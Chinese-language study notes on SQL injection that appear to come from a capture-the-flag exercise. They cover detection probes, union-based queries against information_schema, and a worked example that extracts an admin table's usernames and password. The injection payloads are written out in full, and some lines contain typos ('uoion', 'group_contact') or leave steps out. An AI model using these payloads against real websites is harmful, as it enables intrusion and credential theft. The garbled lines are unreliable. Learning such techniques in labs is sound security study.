1.定义:
用户输入的数据当做SQL代码执行
2.条件:
用户控制。
原本程序要执行代码,与用户的代码拼接执行
3.监测漏洞是否存在(运算符检测漏洞)
and 1=1 (考虑传参强转)
and 1=2(and可以用&&代替)
and sleep(10) 等待数据库,延时(当为静态时)
id=1+1(如果返回数据为空,则为get传参,所有的get传参都要用URL编码的,+在URL里代表着空格)或id=2-1
4.利用漏洞看是否能拿到数据
union 联合查询
order by(查询字段数)
查询字段名,数据库名,数据库版本,表名
select 字段名 from 表名 where 条件
不建议用group_contact,(多行数据输出)(因为有些情况显示有限制,建议一个一个查询),用limit
注释:/*,--,#
5.例题
?id=1,正常
?id=1 and 1=1,正常
?id=1 and 1=2 有问题,暂时确定有SQL注入
判断字段数
正常
不正常,所以字段数为2
判断回显
?IP=1 and 1=2 union select1,2
在数字2处得到想要的内容
数据库名为maoshe
数据库的版本为5.5.53
得到表名为admin,
语句:?ip=1 and 1=2 uoion select 1, table_name from information_schema.tables where table_schema=database() limit 0,1
limit的用法;
limit a,b表示从a+1条语句开始查询b条语句
查询字段名
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
查出admin下有id,username,password三个字段
查询字段下的内容
Limit 1,1
有两个用户
该题的flag就是密码